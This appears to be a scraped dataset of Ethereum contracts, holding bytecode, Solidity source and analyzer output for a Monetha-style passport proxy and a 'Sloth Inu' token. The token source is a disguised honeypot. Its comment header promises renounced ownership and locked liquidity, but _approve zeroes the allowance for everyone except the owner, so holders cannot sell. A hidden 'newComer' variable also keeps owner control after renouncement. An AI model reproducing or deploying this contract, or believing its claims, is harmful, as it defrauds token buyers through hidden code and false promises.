10c9b576040805162461bcd60e51b815260206004820181905260248201526000805160206115a2833981519152604482015290519081900360640190fd5b6001600160a01b038116610ce05760405162461bcd60e51b81526004018080602001828103825260268152602001806114eb6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610d43610e6f565b6000546001600160a01b03908116911614610d93576040805162461bcd60e51b815260206004820181905260248201526000805160206115a2833981519152604482015290519081900360640190fd5b6006805462ffff00191661010061ffff841602179055610db1610e6f565b6001600160a01b03167f0f47c834050beff4b5f0caad993362276b6176c2c9e2a2b6feb9e8c6bad0fd1782604051808261ffff16815260200191505060405180910390a250565b600654630100000090046001600160a01b031681565b600082820183811015610e68576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610eb85760405162461bcd60e51b81526004018080602001828103825260248152602001806116416024913960400191505060405180910390fd5b6001600160a01b038216610efd5760405162461bcd60e51b81526004018080602001828103825260228152602001806115116022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600654600090630100000090046001600160a01b0316610f7d610e6f565b6001600160a01b03161480610fac57506007546001600160a01b0316610fa1610e6f565b6001600160a01b0316145b15610fb9575060016104cf565b5060006104cf565b6001600160a01b0383166110065760405162461bcd60e51b815260040180806020018281038252602581526020018061161c6025913960400191505060405180910390fd5b6001600160a01b03821661104b5760405162461bcd60e51b81526004018080602001828103825260238152602001806114a66023913960400191505060405180910390fd5b6006546001600160a01b0383811663010000009092041614611118576006546001600160a01b038481166301000000909204161480159061109a57506007546001600160a01b03848116911614155b1561111857600754600160a01b900460ff1615611118576008548111156110f25760405162461bcd60e51b81526004018080602001828103825260398152602001806115c26039913960400191505060405180910390fd5b6007805460001960ff600160a01b808404821692909201160260ff60a01b199091161790555b61115581604051806060016040528060268152602001611533602691396001600160a01b03861660009081526001602052604090205491906112b9565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546111849082610e0e565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000826111ef575060006104ea565b828202828482816111fc57fe5b0414610e685760405162461bcd60e51b81526004018080602001828103825260218152602001806115596021913960400191505060405180910390fd5b6000610e6883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611440565b6000610e6883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152505b600081848411156113485760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561130d5781810151838201526020016112f5565b50505050905090810190601f16801561133a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166113955760405162461bcd60e51b81526004018080602001828103825260218152602001806115fb6021913960400191505060405180910390fd5b6113d2816040518060600160405280602281526020016114c9602291396001600160a01b03851660009081526001602052604090205491906112b9565b6001600160a01b0383166000908152600160205260409020556003546113f8908261127b565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000818361148f5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561130d5781810151838201526020016112f5565b50600083858161149b57fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657243616e2774207472616e73666572206d6f7265207468616e203130303020544954414e20666f7220696e697469616c2035302074696d65732e45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fb9924f5193f02181bfcb0a1f126519f3b4ab4059445ae402acc2673dfd37cbb64736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,024 |
0x15ac49c015f0eff99b5fe9274616fd7ccd2d8af8
|
/**
*Submitted for verification at Etherscan.io on 2021-11-25
*/
/*
📌 Liquidity will be locked for 1 year via unicrypt
📌 Ownership renounced
📌 No presales of any kind, no team tokens
📌 Max buys and anti-bot code on launch
📌 8% sell tax
(2% liquidity, 3% rewards and 3% charity/development)
📌 First 250 holders will be entered in a giveaway containing 25 RARE NFT’s. A gift to our early holders.
🖥 Website: https://slothinu.com
🐣 Twitter: https://Twitter.com/slothinu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract SlothInuERC is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 10* 10**12* 10**18;
string private _name = 'Sloth Inu';
string private _symbol = 'SLOTH';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220557b543520f44a8257778322d33e63dfdb4382300decdbae343f8e032b97481164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,025 |
0x927043a6e64ef753a8158b75fca891fc5eee2401
|
pragma solidity ^0.4.24;
// File: contracts/ownership/OwnableProxy.sol
/**
* @title OwnableProxy
*/
contract OwnableProxy {
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Storage slot with the owner of the contract.
* This is the keccak-256 hash of "org.monetha.proxy.owner", and is
* validated in the constructor.
*/
bytes32 private constant OWNER_SLOT = 0x3ca57e4b51fc2e18497b219410298879868edada7e6fe5132c8feceb0a080d22;
/**
* @dev The OwnableProxy constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
assert(OWNER_SLOT == keccak256("org.monetha.proxy.owner"));
_setOwner(msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == _getOwner());
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_getOwner());
_setOwner(address(0));
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(_getOwner(), _newOwner);
_setOwner(_newOwner);
}
/**
* @return The owner address.
*/
function owner() public view returns (address) {
return _getOwner();
}
/**
* @return The owner address.
*/
function _getOwner() internal view returns (address own) {
bytes32 slot = OWNER_SLOT;
assembly {
own := sload(slot)
}
}
/**
* @dev Sets the address of the proxy owner.
* @param _newOwner Address of the new proxy owner.
*/
function _setOwner(address _newOwner) internal {
bytes32 slot = OWNER_SLOT;
assembly {
sstore(slot, _newOwner)
}
}
}
// File: contracts/ownership/ClaimableProxy.sol
/**
* @title ClaimableProxy
* @dev Extension for the OwnableProxy contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract ClaimableProxy is OwnableProxy {
/**
* @dev Storage slot with the pending owner of the contract.
* This is the keccak-256 hash of "org.monetha.proxy.pendingOwner", and is
* validated in the constructor.
*/
bytes32 private constant PENDING_OWNER_SLOT = 0xcfd0c6ea5352192d7d4c5d4e7a73c5da12c871730cb60ff57879cbe7b403bb52;
/**
* @dev The ClaimableProxy constructor validates PENDING_OWNER_SLOT constant.
*/
constructor() public {
assert(PENDING_OWNER_SLOT == keccak256("org.monetha.proxy.pendingOwner"));
}
function pendingOwner() public view returns (address) {
return _getPendingOwner();
}
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == _getPendingOwner());
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_setPendingOwner(newOwner);
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(_getOwner(), _getPendingOwner());
_setOwner(_getPendingOwner());
_setPendingOwner(address(0));
}
/**
* @return The pending owner address.
*/
function _getPendingOwner() internal view returns (address penOwn) {
bytes32 slot = PENDING_OWNER_SLOT;
assembly {
penOwn := sload(slot)
}
}
/**
* @dev Sets the address of the pending owner.
* @param _newPendingOwner Address of the new pending owner.
*/
function _setPendingOwner(address _newPendingOwner) internal {
bytes32 slot = PENDING_OWNER_SLOT;
assembly {
sstore(slot, _newPendingOwner)
}
}
}
// File: contracts/lifecycle/DestructibleProxy.sol
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract DestructibleProxy is OwnableProxy {
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() public onlyOwner {
selfdestruct(_getOwner());
}
function destroyAndSend(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
}
// File: contracts/IPassportLogicRegistry.sol
interface IPassportLogicRegistry {
/**
* @dev This event will be emitted every time a new passport logic implementation is registered
* @param version representing the version name of the registered passport logic implementation
* @param implementation representing the address of the registered passport logic implementation
*/
event PassportLogicAdded(string version, address implementation);
/**
* @dev This event will be emitted every time a new passport logic implementation is set as current one
* @param version representing the version name of the current passport logic implementation
* @param implementation representing the address of the current passport logic implementation
*/
event CurrentPassportLogicSet(string version, address implementation);
/**
* @dev Tells the address of the passport logic implementation for a given version
* @param _version to query the implementation of
* @return address of the passport logic implementation registered for the given version
*/
function getPassportLogic(string _version) external view returns (address);
/**
* @dev Tells the version of the current passport logic implementation
* @return version of the current passport logic implementation
*/
function getCurrentPassportLogicVersion() external view returns (string);
/**
* @dev Tells the address of the current passport logic implementation
* @return address of the current passport logic implementation
*/
function getCurrentPassportLogic() external view returns (address);
}
// File: contracts/upgradeability/Proxy.sol
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_delegate(_implementation());
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
}
// File: contracts/Passport.sol
/**
* @title Passport
*/
contract Passport is Proxy, ClaimableProxy, DestructibleProxy {
event PassportLogicRegistryChanged(
address indexed previousRegistry,
address indexed newRegistry
);
/**
* @dev Storage slot with the address of the current registry of the passport implementations.
* This is the keccak-256 hash of "org.monetha.passport.proxy.registry", and is
* validated in the constructor.
*/
bytes32 private constant REGISTRY_SLOT = 0xa04bab69e45aeb4c94a78ba5bc1be67ef28977c4fdf815a30b829a794eb67a4a;
/**
* @dev Contract constructor.
* @param _registry Address of the passport implementations registry.
*/
constructor(IPassportLogicRegistry _registry) public {
assert(REGISTRY_SLOT == keccak256("org.monetha.passport.proxy.registry"));
_setRegistry(_registry);
}
/**
* @dev Changes the passport logic registry.
* @param _registry Address of the new passport implementations registry.
*/
function changePassportLogicRegistry(IPassportLogicRegistry _registry) public onlyOwner {
emit PassportLogicRegistryChanged(address(_getRegistry()), address(_registry));
_setRegistry(_registry);
}
/**
* @return the address of passport logic registry.
*/
function getPassportLogicRegistry() public view returns (address) {
return _getRegistry();
}
/**
* @dev Returns the current passport logic implementation (used in Proxy fallback function to delegate call
* to passport logic implementation).
* @return Address of the current passport implementation
*/
function _implementation() internal view returns (address) {
return _getRegistry().getCurrentPassportLogic();
}
/**
* @dev Returns the current passport implementations registry.
* @return Address of the current implementation
*/
function _getRegistry() internal view returns (IPassportLogicRegistry reg) {
bytes32 slot = REGISTRY_SLOT;
assembly {
reg := sload(slot)
}
}
function _setRegistry(IPassportLogicRegistry _registry) internal {
require(address(_registry) != 0x0, "Cannot set registry to a zero address");
bytes32 slot = REGISTRY_SLOT;
assembly {
sstore(slot, _registry)
}
}
}
|
0x6080604052600436106100985763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416634645a41881146100aa5780634e71e0c8146100cb578063715018a6146100e057806383197ef0146100f557806386d5c5f91461010a5780638da5cb5b1461013b578063e30c397814610150578063f2fde38b14610165578063f5074f4114610186575b6100a86100a36101a7565b610238565b005b3480156100b657600080fd5b506100a8600160a060020a036004351661025c565b3480156100d757600080fd5b506100a86102cb565b3480156100ec57600080fd5b506100a8610351565b34801561010157600080fd5b506100a86103b4565b34801561011657600080fd5b5061011f6103e3565b60408051600160a060020a039092168252519081900360200190f35b34801561014757600080fd5b5061011f6103f2565b34801561015c57600080fd5b5061011f6103fc565b34801561017157600080fd5b506100a8600160a060020a0360043516610406565b34801561019257600080fd5b506100a8600160a060020a036004351661042b565b60006101b1610453565b600160a060020a031663609725ef6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561020757600080fd5b505af115801561021b573d6000803e3d6000fd5b505050506040513d602081101561023157600080fd5b5051905090565b3660008037600080366000845af43d6000803e808015610257573d6000f35b3d6000fd5b610264610478565b600160a060020a0316331461027857600080fd5b80600160a060020a031661028a610453565b600160a060020a03167f5c2abfd67230c0e47d6de28402bfe206c7a57283cba891416ed657fd70a714c260405160405180910390a36102c88161049d565b50565b6102d3610561565b600160a060020a031633146102e757600080fd5b6102ef610561565b600160a060020a0316610300610478565b600160a060020a03167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3610345610340610561565b610586565b61034f60006105aa565b565b610359610478565b600160a060020a0316331461036d57600080fd5b610375610478565b600160a060020a03167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a261034f6000610586565b6103bc610478565b600160a060020a031633146103d057600080fd5b6103d8610478565b600160a060020a0316ff5b60006103ed610453565b905090565b60006103ed610478565b60006103ed610561565b61040e610478565b600160a060020a0316331461042257600080fd5b6102c8816105aa565b610433610478565b600160a060020a0316331461044757600080fd5b80600160a060020a0316ff5b7fa04bab69e45aeb4c94a78ba5bc1be67ef28977c4fdf815a30b829a794eb67a4a5490565b7f3ca57e4b51fc2e18497b219410298879868edada7e6fe5132c8feceb0a080d225490565b6000600160a060020a038216151561053c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f43616e6e6f742073657420726567697374727920746f2061207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b507fa04bab69e45aeb4c94a78ba5bc1be67ef28977c4fdf815a30b829a794eb67a4a55565b7fcfd0c6ea5352192d7d4c5d4e7a73c5da12c871730cb60ff57879cbe7b403bb525490565b7f3ca57e4b51fc2e18497b219410298879868edada7e6fe5132c8feceb0a080d2255565b7fcfd0c6ea5352192d7d4c5d4e7a73c5da12c871730cb60ff57879cbe7b403bb52555600a165627a7a7230582027bb57ac09535e72c3e85d0be1e55abee8f4ad72ffc717aabb25edc0240806740029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 9,026 |
0x007851a6a74f016bfca89ea569072a42a6defa77
